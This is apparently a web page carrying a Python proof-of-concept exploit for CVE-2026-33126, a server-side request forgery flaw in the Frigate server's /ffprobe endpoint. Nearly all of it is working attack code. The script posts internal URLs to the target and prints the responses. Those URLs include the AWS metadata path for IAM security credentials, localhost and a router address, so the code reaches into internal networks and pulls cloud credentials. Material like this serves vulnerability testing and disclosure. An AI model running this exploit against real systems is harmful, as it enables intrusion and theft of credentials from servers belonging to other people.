CVE-2026-33126 Frigate SSRF漏洞

import requests def check_ssrf(target_url, internal_url): """ Proof of Concept for CVE-2026-33126 Tests if the target Frigate server is vulnerable to SSRF via /ffprobe endpoint. """ # The vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/ffprobe" # Payload containing the internal URL to access # Example: AWS Metadata service or an internal admin panel payload = { "url": internal_url } try: print(f"[*] Sending request to {endpoint} with payload: {internal_url}") response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print("[+] Response Content:") print(response.text) if response.status_code == 200 and "169.254" in response.text: print("[!] Potential SSRF vulnerability confirmed: Metadata service accessed.") elif response.status_code == 200: print("[!] Request processed, check output for internal data.") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target Frigate server URL target = "http://localhost:5000" # Common internal targets to test test_urls = [ "http://169.254.169.254/latest/meta-data/iam/security-credentials/", # AWS Metadata "http://127.0.0.1:80", # Localhost "http://192.168.1.1" # Router/Gateway ] for url in test_urls: check_ssrf(target, url) print("-" * 40)